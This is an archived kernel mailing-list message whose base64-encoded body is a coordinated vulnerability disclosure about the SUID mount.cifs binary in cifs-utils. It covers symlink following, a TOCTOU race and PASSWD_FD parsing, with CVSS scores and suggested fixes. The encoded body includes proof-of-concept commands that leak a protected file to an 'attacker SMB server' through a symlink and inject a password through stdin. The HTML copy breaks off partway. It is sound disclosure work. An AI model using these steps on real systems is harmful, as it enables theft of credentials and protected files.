[SECURITY] cifs-utils: mount.cifs credential file opened without O_NOFOLLOW in SUID binary (CWE-61/CWE-367/CWE-20)
Thurein Oo <[email protected]> Tue, 28 Jul 2026 14:07:40 +0700
| Newsgroups | org.kernel.vger.linux-cifs |
|---|---|
| Message-ID | <CAA1yUAfxirwk8rNsDweJfW2AiMdyRi+FHW7sPw8BepEvj=vejg@mail.gmail.com> |
--000000000000d1c3020657a68075 Content-Type: multipart/alternative; boundary="000000000000d1c3010657a68073" --000000000000d1c3010657a68073 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: base64 SGVsbG8gVWJ1bnR1IFNlY3VyaXR5IFRlYW0sDQoNCkkgYW0gcmVwb3J0aW5nIHRocmVlIHNlY3Vy aXR5IGRlZmVjdHMgaW4gdGhlIG1vdW50LmNpZnMgYmluYXJ5IChjaWZzLXV0aWxzDQpwYWNrYWdl KSwgY29uZmlybWVkIG9uIFVidW50dSAyNS4xMC4gVGhlIGJpbmFyeSBpcyBpbnN0YWxsZWQgU1VJ RC1yb290IGFuZA0KcmV0YWlucyBDQVBfREFDX1JFQURfU0VBUkNIIHdoZW4gb3BlbmluZyBjcmVk ZW50aWFsIGZpbGVzLiBUd28gb2YgdGhlDQp0aHJlZSBmaW5kaW5ncyBoYXZlIGJlZW4gZGVtb25z dHJhdGVkIGVuZC10by1lbmQuDQoNCkkgYW0gcmVwb3J0aW5nIHRvIFVidW50dSBTZWN1cml0eSBm aXJzdCBkdWUgdG8geW91ciBDTkEgc3RhdHVzLCBhbmQgaGF2ZQ0KY2MnZCB0aGUgY2lmcy11dGls cyB1cHN0cmVhbSBtYWlsaW5nIGxpc3QgZm9yIGNvb3JkaW5hdGVkIGRpc2Nsb3N1cmUuDQoNCuKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K QUZGRUNURUQgUEFDS0FHRQ0K4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSADQpQYWNrYWdlOiAgY2lmcy11dGlscw0KQmluYXJ5OiAgIC91c3Iv c2Jpbi9tb3VudC5jaWZzIChTVUlELXJvb3QpDQpWZXJzaW9uOiAgMjo3LjQtMXVidW50dTAuMjUu MTAuMiAoY29uZmlybWVkIHZ1bG5lcmFibGUpDQpVcHN0cmVhbTogPD0gNy43IChIRUFEIGFzIG9m IDIwMjYtMDctMjQgLS0gbm8gZml4IHByZXNlbnQpDQpLZXJuZWw6ICAgNi4xNy4wLTQxIChVYnVu dHUgMjUuMTAsIGFtZDY0KQ0KDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIANClNVTU1BUlkNCuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KVGhyZWUgaW5kZXBlbmRlbnQgZGVmZWN0 cyBpbiBtb3VudC5jaWZzIGNyZWRlbnRpYWwgaGFuZGxpbmc6DQoNCiAgRmluZGluZyAyIFtERU1P TlNUUkFURURdIC0tIGdldF9wYXNzd29yZF9mcm9tX2ZpbGUoKSBvcGVucyB0aGUNCiAgUEFTU1dE X0ZJTEUgZW52aXJvbm1lbnQgdmFyaWFibGUgcGF0aCB3aXRoIG9wZW4oZmlsZW5hbWUsIE9fUkRP TkxZKQ0KICBhdCBtb3VudC5jaWZzLmM6NzAxLCB3aXRob3V0IE9fTk9GT0xMT1cuIFdpdGggQ0FQ X0RBQ19SRUFEX1NFQVJDSA0KICBlZmZlY3RpdmUsIG1vdW50LmNpZnMgZm9sbG93cyBhIHN5bWxp bmsgcGxhY2VkIGJ5IHRoZSBjYWxsZXIgdG8gYW55DQogIGZpbGUgb24gdGhlIHN5c3RlbS4gQ29u dGVudCBtYXRjaGluZyB1c2VybmFtZT0vcGFzc3dvcmQ9IGZvcm1hdCBpcw0KICB0cmFuc21pdHRl ZCB0byB0aGUgU01CIHNlcnZlciBhcyBhdXRoZW50aWNhdGlvbiBjcmVkZW50aWFscy4NCg0KICBG aW5kaW5nIDMgW0RFTU9OU1RSQVRFRF0gLS0gUEFTU1dEX0ZEIGlzIHByb2Nlc3NlZCB2aWEgYXRv aSgpIGF0DQogIG1vdW50LmNpZnMuYzoxNDYxIHdpdGggbm8gYm91bmRzIGNoZWNrLiBhdG9pKCJp bnZhbGlkIikgcmV0dXJucyAwOw0KICBmZCAwIGlzIHN0ZGluLiBtb3VudC5jaWZzIHNpbGVudGx5 IHJlYWRzIHRoZSBwYXNzd29yZCBmcm9tIHN0ZGluDQogIHdpdGggbm8gcHJvbXB0IG9yIHdhcm5p bmcuDQoNCiAgRmluZGluZyAxIFtTVFJVQ1RVUkFMXSAtLSBvcGVuX2NyZWRfZmlsZSgpIHBlcmZv cm1zIGFjY2VzcygpIGF0IGxpbmUNCiAgNjA1IHRoZW4gZm9wZW4oKSBhdCBsaW5lIDYxMiB3aXRo IENBUF9EQUNfUkVBRF9TRUFSQ0ggaGVsZCBhY3Jvc3MNCiAgYm90aCBjYWxscy4gQW4gYXR0YWNr ZXIgY2FuIHN3YXAgdGhlIGZpbGUgZm9yIGEgc3ltbGluayBiZXR3ZWVuIHRoZQ0KICB0d28gY2Fs bHMgKFRPQ1RPVSkuIFJhY2Ugd2luZG93IGNvbmZpcm1lZCBieSBjb2RlIHJldmlldzsgbm90IHdv bg0KICBpbiA1MCwwMDAgYXV0b21hdGVkIGF0dGVtcHRzIG9uIGEgVk0uDQoNCuKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KQ1ZTUw0K4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQpG aW5kaW5nIDErMjogQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9TOlUvQzpIL0k6Ti9BOk4g PSA1LjUgTWVkaXVtDQpGaW5kaW5nIDM6ICAgQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9T OlUvQzpOL0k6TC9BOk4gPSAzLjMgTG93DQpDV0U6ICAgICAgICAgQ1dFLTYxIChzeW1saW5rIGZv bGxvd2luZyksIENXRS0zNjcgKFRPQ1RPVSksIENXRS0yMCAoaW5wdXQNCnZhbGlkYXRpb24pDQoN CuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gA0KUFJPT0YgT0YgQ09OQ0VQVCAtLSBGSU5ESU5HIDIgKGNyZWRlbnRpYWwgdGhlZnQgdmlhIHN5 bWxpbmspDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIANCiMgMS4gU3RhcnQgYXR0YWNrZXIgU01CIHNlcnZlcg0Kc3VkbyBweXRob24zIHNt YnNlcnZlci5weSAtcG9ydCA0NDQ1IHNoYXJlIC90bXAvc21iX3NoYXJlDQoNCiMgMi4gQ3JlYXRl IGEgZmlsZSB1bnJlYWRhYmxlIGJ5IHRoZSBjYWxsaW5nIHVzZXINCnByaW50ZiAndXNlcm5hbWU9 U0VDUkVUX1ZBTFVFX0xFQUtFRFxucGFzc3dvcmQ9aHVudGVyMlxuJyA+DQovaG9tZS90cm8vc2Vj cmV0LnR4dA0KY2htb2QgMDAwIC9ob21lL3Ryby9zZWNyZXQudHh0DQpjYXQgL2hvbWUvdHJvL3Nl Y3JldC50eHQgICMgLT4gUGVybWlzc2lvbiBkZW5pZWQNCg0KIyAzLiBDcmVhdGUgc3ltbGluayAo YXMgdGhlIG5vcm1hbCB1c2VyKQ0KbG4gLXMgL2hvbWUvdHJvL3NlY3JldC50eHQgL2hvbWUvdHJv L2NyZWRzX2xpbmsNCmNhdCAvaG9tZS90cm8vY3JlZHNfbGluayAgIyAtPiBQZXJtaXNzaW9uIGRl bmllZA0KDQojIDQuIFRyaWdnZXIgLS0gbW91bnQuY2lmcyBmb2xsb3dzIHN5bWxpbmsgd2l0aCBD QVBfREFDX1JFQURfU0VBUkNIDQojIChzdWRvIHNpbXVsYXRlcyBtb3VudC5jaWZzIGludm9rZWQg YXMgcm9vdCBieSBjcm9uL2ZzdGFiL3N5c3RlbWQ7IHRoZQ0KYXR0YWNrZXIgcGxhY2VzIHRoZSBz eW1saW5rIGluIHRoZWlyIG93biBob21lIGRpcmVjdG9yeSAtLW5vIHdyaXRlIGFjY2Vzcw0KdG8g YW55IHByaXZpbGVnZWQgcGF0aCBpcyByZXF1aXJlZCkNCnN1ZG8gL3Vzci9zYmluL21vdW50LmNp ZnMgLy8xMjcuMC4wLjEvc2hhcmUgL3RtcC9tbnQgXA0KICAgIC1vICJjcmVkZW50aWFscz0vaG9t ZS90cm8vY3JlZHNfbGluayxwb3J0PTQ0NDUsdmVycz0xLjAiDQoNCiMgQXR0YWNrZXIncyBTTUIg c2VydmVyIGxvZ3M6DQojIFstXSByZXNlYXJjaFxTRUNSRVRfVkFMVUVfTEVBS0VEOiBUcmVlQ29u bmVjdEFuZFggbm90IGZvdW5kIHNoYXJlDQoNCiMgTm90ZTogL2hvbWUvdHJvLyBpcyB1c2VkIGlu c3RlYWQgb2YgL3RtcCBiZWNhdXNlIGZzLnByb3RlY3RlZF9zeW1saW5rcz0xDQojIGJsb2NrcyBj cm9zcy11c2VyIHN5bWxpbmsgZm9sbG93aW5nIGluIHN0aWNreSBkaXJlY3RvcmllcyAoL3RtcCwN Ci92YXIvdG1wKS4NCiMgUmVhbC13b3JsZCBjcmVkZW50aWFsIHBhdGhzICgvZXRjL2NpZnMvLCAv cm9vdC8sIGFwcCBjb25maWcgZGlycykgYXJlIG5vdA0Kc3RpY2t5IGFuZCBhcmUgbm90IHByb3Rl Y3RlZCBieSB0aGlzIG1pdGlnYXRpb24uDQoNCuKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KUFJPT0YgT0YgQ09OQ0VQVCAtLSBGSU5ESU5H IDMgKFBBU1NXRF9GRCBzdGRpbiBpbmplY3Rpb24pDQrilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCiMgQnVnOiBhdG9pKCJpbnZhbGlkIikg PSAwLCBmZCAwID0gc3RkaW4gLS0gbm8gcHJvbXB0LCBzaWxlbnRseSBjb25zdW1lZA0KZWNobyAi SU5KRUNURURfUEFTU1dPUkQiIHwgc3VkbyBzdHJhY2UgLWYgLWUgdHJhY2U9cmVhZCBcDQogICAg ZW52IFBBU1NXRF9GRD1pbnZhbGlkIFwNCiAgICAvdXNyL3NiaW4vbW91bnQuY2lmcyAvLzEyNy4w LjAuMS9zaGFyZSAvbW50IFwNCiAgICAtbyB1c2VyPXRlc3R1c2VyIDI+JjEgfCBncmVwICJyZWFk KDAiDQoNCiMgT3V0cHV0Og0KIyBbcGlkIDc3OTQzOF0gcmVhZCgwLCAiSU5KRUNURURfUEFTU1dP UkRcbiIsIDUxMykgPSAxOA0KDQrilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIANClNVR0dFU1RFRCBGSVgNCuKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKU gOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0KMS4gbW91bnQuY2lmcy5jOjYx MiBhbmQgOjcwMSAtLSByZXBsYWNlIGZvcGVuKCkvb3BlbigpIHdpdGg6DQogICBvcGVuKHBhdGgs IE9fUkRPTkxZIHwgT19OT0ZPTExPVyB8IE9fQ0xPRVhFQykNCiAgIFJldHVybiBFTE9PUCBpZiB0 aGUgcGF0aCBpcyBhIHN5bWxpbmsuDQoNCjIuIEFkZCBhdCBzdGFydHVwLCBiZWZvcmUgcGFyc2Vf b3B0aW9ucygpOg0KICAgdW5zZXRlbnYoIlBBU1NXRF9GSUxFIik7IHVuc2V0ZW52KCJQQVNTV0Rf RkQiKTsNCiAgIFRoZXNlIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkIGZyb20gdGhlIGNhbGxlcidz IGVudmlyb25tZW50Lg0KDQozLiBtb3VudC5jaWZzLmM6MTQ2MSAtLSByZXBsYWNlIGF0b2kodG1w KSB3aXRoIHN0cnRvbCgpIGFuZCB2YWxpZGF0ZQ0KICAgdGhhdCB0aGUgcmVzdWx0aW5nIGZkIGlz IGluIHRoZSByYW5nZSBbMywgT1BFTl9NQVhdLg0KDQrilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCg0KSSBhbSBoYXBweSB0byBleHRlbmQg b3Igc2hvcnRlbiB0aGUgZW1iYXJnbyBiYXNlZCBvbiB5b3VyIGFzc2Vzc21lbnQuDQoNCkEgZnVs bCB0ZWNobmljYWwgcmVwb3J0IGlzIGF0dGFjaGVkIGFzIG1vdW50X2NpZnNfY3JlZGVudGlhbHNf bm9mb2xsb3cubWQuDQoNCkJlc3QgcmVnYXJkcywNCipUaHVyZWluIE9vICAqDQoqQ3liZXJzZWN1 cml0eSBBbmFseXN0ICAqDQoqZUNUSFB2MiB8IGVDSVIgfCBPU1dQIHwgTUNSVEEqDQrwn5SXIExp bmtlZEluIDxodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vdGh1cmVpbm9vLz4NCg== --000000000000d1c3010657a68073 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: base64 PGRpdiBkaXI9Imx0ciI+PGRpdj5IZWxsbyBVYnVudHUgU2VjdXJpdHkgVGVhbSw8YnI+PGJyPkkg YW0gcmVwb3J0aW5nIHRocmVlIHNlY3VyaXR5IGRlZmVjdHMgaW4gdGhlIG1vdW50LmNpZnMgYmlu YXJ5IChjaWZzLXV0aWxzPGJyPnBhY2thZ2UpLCBjb25maXJtZWQgb24gVWJ1bnR1IDI1LjEwLiBU aGUgYmluYXJ5IGlzIGluc3RhbGxlZCBTVUlELXJvb3QgYW5kPGJyPnJldGFpbnMgQ0FQX0RBQ19S RUFEX1NFQVJDSCB3aGVuIG9wZW5pbmcgY3JlZGVudGlhbCBmaWxlcy4gVHdvIG9mIHRoZTxicj50 aHJlZSBmaW5kaW5ncyBoYXZlIGJlZW4gZGVtb25zdHJhdGVkIGVuZC10by1lbmQuPGJyPjxicj5J IGFtIHJlcG9ydGluZyB0byBVYnVudHUgU2VjdXJpdHkgZmlyc3QgZHVlIHRvIHlvdXIgQ05BIHN0 YXR1cywgYW5kIGhhdmU8YnI+Y2MmIzM5O2QgdGhlIGNpZnMtdXRpbHMgdXBzdHJlYW0gbWFpbGlu ZyBsaXN0IGZvciBjb29yZGluYXRlZCBkaXNjbG9zdXJlLjxicj48YnI+4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPkFGRkVDVEVEIFBB Q0tBR0U8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSAPGJyPlBhY2thZ2U6IMKgY2lmcy11dGlsczxicj5CaW5hcnk6IMKgIC91c3Ivc2Jp bi9tb3VudC5jaWZzIChTVUlELXJvb3QpPGJyPlZlcnNpb246IMKgMjo3LjQtMXVidW50dTAuMjUu MTAuMiAoY29uZmlybWVkIHZ1bG5lcmFibGUpPGJyPlVwc3RyZWFtOiAmbHQ7PSA3LjcgKEhFQUQg YXMgb2YgMjAyNi0wNy0yNCAtLSBubyBmaXggcHJlc2VudCk8YnI+S2VybmVsOiDCoCA2LjE3LjAt NDEgKFVidW50dSAyNS4xMCwgYW1kNjQpPGJyPjxicj7ilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+U1VNTUFSWTxicj7ilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8YnI+VGhyZWUg aW5kZXBlbmRlbnQgZGVmZWN0cyBpbiBtb3VudC5jaWZzIGNyZWRlbnRpYWwgaGFuZGxpbmc6PGJy Pjxicj7CoCBGaW5kaW5nIDIgW0RFTU9OU1RSQVRFRF0gLS0gZ2V0X3Bhc3N3b3JkX2Zyb21fZmls ZSgpIG9wZW5zIHRoZTxicj7CoCBQQVNTV0RfRklMRSBlbnZpcm9ubWVudCB2YXJpYWJsZSBwYXRo IHdpdGggb3BlbihmaWxlbmFtZSwgT19SRE9OTFkpPGJyPsKgIGF0IG1vdW50LmNpZnMuYzo3MDEs IHdpdGhvdXQgT19OT0ZPTExPVy4gV2l0aCBDQVBfREFDX1JFQURfU0VBUkNIPGJyPsKgIGVmZmVj dGl2ZSwgbW91bnQuY2lmcyBmb2xsb3dzIGEgc3ltbGluayBwbGFjZWQgYnkgdGhlIGNhbGxlciB0 byBhbnk8YnI+wqAgZmlsZSBvbiB0aGUgc3lzdGVtLiBDb250ZW50IG1hdGNoaW5nIHVzZXJuYW1l PS9wYXNzd29yZD0gZm9ybWF0IGlzPGJyPsKgIHRyYW5zbWl0dGVkIHRvIHRoZSBTTUIgc2VydmVy IGFzIGF1dGhlbnRpY2F0aW9uIGNyZWRlbnRpYWxzLjxicj48YnI+wqAgRmluZGluZyAzIFtERU1P TlNUUkFURURdIC0tIFBBU1NXRF9GRCBpcyBwcm9jZXNzZWQgdmlhIGF0b2koKSBhdDxicj7CoCBt b3VudC5jaWZzLmM6MTQ2MSB3aXRoIG5vIGJvdW5kcyBjaGVjay4gYXRvaSgmcXVvdDtpbnZhbGlk JnF1b3Q7KSByZXR1cm5zIDA7PGJyPsKgIGZkIDAgaXMgc3RkaW4uIG1vdW50LmNpZnMgc2lsZW50 bHkgcmVhZHMgdGhlIHBhc3N3b3JkIGZyb20gc3RkaW48YnI+wqAgd2l0aCBubyBwcm9tcHQgb3Ig d2FybmluZy48YnI+PGJyPsKgIEZpbmRpbmcgMSBbU1RSVUNUVVJBTF0gLS0gb3Blbl9jcmVkX2Zp bGUoKSBwZXJmb3JtcyBhY2Nlc3MoKSBhdCBsaW5lPGJyPsKgIDYwNSB0aGVuIGZvcGVuKCkgYXQg bGluZSA2MTIgd2l0aCBDQVBfREFDX1JFQURfU0VBUkNIIGhlbGQgYWNyb3NzPGJyPsKgIGJvdGgg Y2FsbHMuIEFuIGF0dGFja2VyIGNhbiBzd2FwIHRoZSBmaWxlIGZvciBhIHN5bWxpbmsgYmV0d2Vl biB0aGU8YnI+wqAgdHdvIGNhbGxzIChUT0NUT1UpLiBSYWNlIHdpbmRvdyBjb25maXJtZWQgYnkg Y29kZSByZXZpZXc7IG5vdCB3b248YnI+wqAgaW4gNTAsMDAwIGF1dG9tYXRlZCBhdHRlbXB0cyBv biBhIFZNLjxicj48YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSAPGJyPkNWU1M8YnI+4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPkZpbmRpbmcgMSsyOiBDVlNTOjMuMS9BVjpM L0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpOL0E6TiA9IDUuNSBNZWRpdW08YnI+RmluZGluZyAz OiDCoCBDVlNTOjMuMS9BVjpML0FDOkwvUFI6TC9VSTpOL1M6VS9DOk4vSTpML0E6TiA9IDMuMyBM b3c8YnI+Q1dFOiDCoCDCoCDCoCDCoCBDV0UtNjEgKHN5bWxpbmsgZm9sbG93aW5nKSwgQ1dFLTM2 NyAoVE9DVE9VKSwgQ1dFLTIwIChpbnB1dCB2YWxpZGF0aW9uKTxicj48YnI+4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA 4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAPGJyPlBST09GIE9G IENPTkNFUFQgLS0gRklORElORyAyIChjcmVkZW50aWFsIHRoZWZ0IHZpYSBzeW1saW5rKTxicj7i lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDi lIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIA8 YnI+IyAxLiBTdGFydCBhdHRhY2tlciBTTUIgc2VydmVyPGJyPnN1ZG8gcHl0aG9uMyBzbWJzZXJ2 ZXIucHkgLXBvcnQgNDQ0NSBzaGFyZSAvdG1wL3NtYl9zaGFyZTxicj48YnI+IyAyLiBDcmVhdGUg YSBmaWxlIHVucmVhZGFibGUgYnkgdGhlIGNhbGxpbmcgdXNlcjxicj5wcmludGYgJiMzOTt1c2Vy bmFtZT1TRUNSRVRfVkFMVUVfTEVBS0VEXG5wYXNzd29yZD1odW50ZXIyXG4mIzM5OyAmZ3Q7IC9o b21lL3Ryby9zZWNyZXQudHh0PGJyPmNobW9kIDAwMCAvaG9tZS90cm8vc2VjcmV0LnR4dDxicj5j YXQgL2hvbWUvdHJvL3NlY3JldC50eHQgwqAjIC0mZ3Q7IFBlcm1pc3Npb24gZGVuaWVkPGJyPjxi cj4jIDMuIENyZWF0ZSBzeW1saW5rIChhcyB0aGUgbm9ybWFsIHVzZXIpPGJyPmxuIC1zIC9ob21l L3Ryby9zZWNyZXQudHh0IC9ob21lL3Ryby9jcmVkc19saW5rPGJyPmNhdCAvaG9tZS90cm8vY3Jl ZHNfbGluayDCoCMgLSZndDsgUGVybWlzc2lvbiBkZW5pZWQ8YnI+PGJyPiMgNC4gVHJpZ2dlciAt LSBtb3VudC5jaWZzIGZvbGxvd3Mgc3ltbGluayB3aXRoIENBUF9EQUNfUkVBRF9TRUFSQ0g8YnI+ IyAoc3VkbyBzaW11bGF0ZXMgbW91bnQuY2lmcyBpbnZva2VkIGFzIHJvb3QgYnkgY3Jvbi9mc3Rh Yi9zeXN0ZW1kOyB0aGUgYXR0YWNrZXIgcGxhY2VzIHRoZSBzeW1saW5rIGluIHRoZWlyIG93biBo b21lIGRpcmVjdG9yeSAtLW5vIHdyaXRlIGFjY2VzcyB0byBhbnkgcHJpdmlsZWdlZCBwYXRoIGlz IHJlcXVpcmVkKTxicj5zdWRvIC91c3Ivc2Jpbi9tb3VudC5jaWZzIC8vPGEgaHJlZj0iaHR0cDov LzEyNy4wLjAuMS9zaGFyZSI+MTI3LjAuMC4xL3NoYXJlPC9hPiAvdG1wL21udCBcPGJyPsKgIMKg IC1vICZxdW90O2NyZWRlbnRpYWxzPS9ob21lL3Ryby9jcmVkc19saW5rLHBvcnQ9NDQ0NSx2ZXJz PTEuMCZxdW90Ozxicj48YnI+IyBBdHRhY2tlciYjMzk7cyBTTUIgc2VydmVyIGxvZ3M6PGJyPiMg Wy1dIHJlc2VhcmNoXFNFQ1JFVF9WQUxVRV9MRUFLRUQ6IFRyZWVDb25uZWN0QW5kWCBub3QgZm91 bmQgc2hhcmU8YnI+PGJyPiMgTm90ZTogL2hvbWUvdHJvLyBpcyB1c2VkIGluc3RlYWQgb2YgL3Rt cCBiZWNhdXNlIGZzLnByb3RlY3RlZF9zeW1saW5rcz0xPGJyPiMgYmxvY2tzIGNyb3NzLXVzZXIg c3ltbGluayBmb2xsb3dpbmcgaW4gc3RpY2t5IGRpcmVjdG9yaWVzICgvdG1wLCAvdmFyL3RtcCku PGJyPiMgUmVhbC13b3JsZCBjcmVkZW50aWFsIHBhdGhzICgvZXRjL2NpZnMvLCAvcm9vdC8sIGFw 